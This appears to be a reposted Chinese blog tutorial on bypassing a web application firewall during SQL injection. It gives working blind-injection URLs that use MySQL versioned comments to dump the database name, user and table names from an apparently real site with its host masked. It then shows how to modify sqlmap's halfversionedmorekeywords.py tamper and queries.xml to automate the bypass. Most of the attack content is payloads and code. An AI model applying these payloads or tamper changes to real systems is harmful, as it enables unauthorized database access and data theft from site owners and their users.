博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
定制sqlmap tamper脚本
阅读量:6534 次
发布时间:2019-06-24

本文共 3717 字,大约阅读时间需要 12 分钟。

前言

渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了。

测试

在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接403了。

测试了其他的一些参数,发现过滤了大部分的注入命令,但是可以利用mysql的注释方法进行绕过,例如网站会拦截sleep()函数,可以利用/!50000sleep(5)/绕过拦截,接上url试试:

http://**.com/lightapp/detail.php?qid=17364076 and /*!50000sleep(5)*/

发现会sleep几秒 :),看来是存在sql注入的,先获取下数据库的长度:

http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=1 http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=2 http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=3 ... http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=8

到8的时候网页返回正确,可以获取到当前的数据库长度为8,继续往下猜:

http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(database(),8)=CHAR(115,105,116,101,100,97,116,97)

最终猜出的数据库名为:

sitedata

可以使用如下语句得出当前数据库用户为:

mysql_data@192.168.113.8 http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(user(),23)=CHAR(109,121,115,113,108,95,100,97,116,97,64, 49,57,50,46,49,54,56,46,49,49,51,46,56)

查询当前数据库的第一个表名的长度可以使用语句:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/length((select/*!50000table_name*//*!from*//*!information_schema.t ables*/limit+0,1))=13

得出第一个数据表名的长度为13,试查询第二个数据表的表名,使用语句:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),1)=char(99)

使用上述语句得到表名第一个字符的ascii码,依次类推:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),17)=char(99,108,105,101,110,116,95,117,115,101,114,110,97,109,101,100,98)

得到第二个数据表的表名为

client_usernamedb

依次类推变可查询到所有数据。

修改Sqlmap tamper

\sqlmap\tamper目录apostrophemask.pyapostrophenullencode.pyappendnullbyte.pybase64encode.pybetween.pybluecoat.pychardoubleencode.pycharencode.pycharunicodeencode.pycommalesslimit.pycommalessmid.pyconcat2concatws.pyequaltolike.pyescapequotes.pygreatest.pyhalfversionedmorekeywords.pyhtmlencode.pyifnull2ifisnull.pyinformationschemacomment.pylowercase.pymodsecurityversioned.pymodsecurityzeroversioned.pymultiplespaces.pynonrecursivereplacement.pyoverlongutf8.pypercentage.pyplus2concat.pyrandomcase.pyrandomcomments.pysecuresphere.pyspace2comment.pyspace2dash.pyspace2hash.pyspace2morehash.pyspace2mssqlblank.pyspace2mssqlhash.pyspace2mysqlblank.pyspace2mysqldash.pyspace2plus.pyspace2randomblank.pysp_password.pysymboliclogical.pyunionalltounion.pyunmagicquotes.pyuppercase.pyvarnish.pyversionedkeywords.pyversionedmorekeywords.pyxforwardedfor.py

可惜的是没有合适本次注入点的脚本。

下面利用halfversionedmorekeywords.py这个脚本做修改,即可绕过上面的注入,看一下脚本中注释部分:

\sqlmap\tamper\halfversionedmorekeywords.py38行>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")修改为:"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0 CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

可以看到这个脚本所实现的效果是替换空格和关键字为/*!0,可将脚本的第45行:

return match.group().replace(word, "/*!0%s" % word)

修改为:

return match.group().replace(word, "/*!50000%s*/" % word)

可以绕过第一步拦截,接着将sqlmap其他提交payload的地方进行修改,程序只要将关键字进行/!50000关键字/就会绕过拦截,这个注入同时会拦截cast函数,可将其改成convert函数也可以绕过拦截,sqlmap/xml/queries.xml改为convert(%s,CHAR),dbms一定要对应相同类型的数据库,代码如下:

Cast部分修改为:

为了让读者更加理解为什么要在这里修改,推荐读者看一篇文章:

改完后执行:

python sqlmap.py -u "http://**.com/lightapp/detail.php?qid=17364076" –tamper "halfversionedmorekeywords.py"

总结

简单的总结下,Sqlmap tamper提供了很多的demo,我们可以根据实际情况进行相应的修改应用即可。

转载于:https://www.cnblogs.com/Primzahl/p/6259151.html

你可能感兴趣的文章
复习 Python 匿名函数 内建函数
查看>>
Security Identifiers | Win SRV2016 SID Change 修改
查看>>
看看来自日本的扫描,做网站需要注意的
查看>>
JDK 1.7+Android SDK+IntelliJ IDEA 13+Genymotion 安卓开发环境部署
查看>>
钓鱼邮件***防范指南
查看>>
session_start()放置位置的不正确引发的ROOT常量 未定义的错误
查看>>
如何设定VDP同时备份的任务数?
查看>>
ipsec的***在企业网中的经典应用
查看>>
过来人谈《去360还是留在百度?》
查看>>
mysql备份工具innobackupex,xtrabackup-2.1安装,参数详解
查看>>
【复制】slave筛选复制之二(create/drop table语句)
查看>>
Movie Store OpenCart 自适应主题模板 ABC-0249
查看>>
RedHat linux YUM本地制作源
查看>>
apache端口占用问题
查看>>
本地Office Project计划表同步到SharePoint2013任务列表的权限问题
查看>>
Windows2008 R2 GAC权限问题
查看>>
洛谷——P1469 找筷子
查看>>
几句话就能让你明白:网络地址转换(NAT)
查看>>
springboot项目自定义注解实现的多数据源切换
查看>>
特此说明
查看>>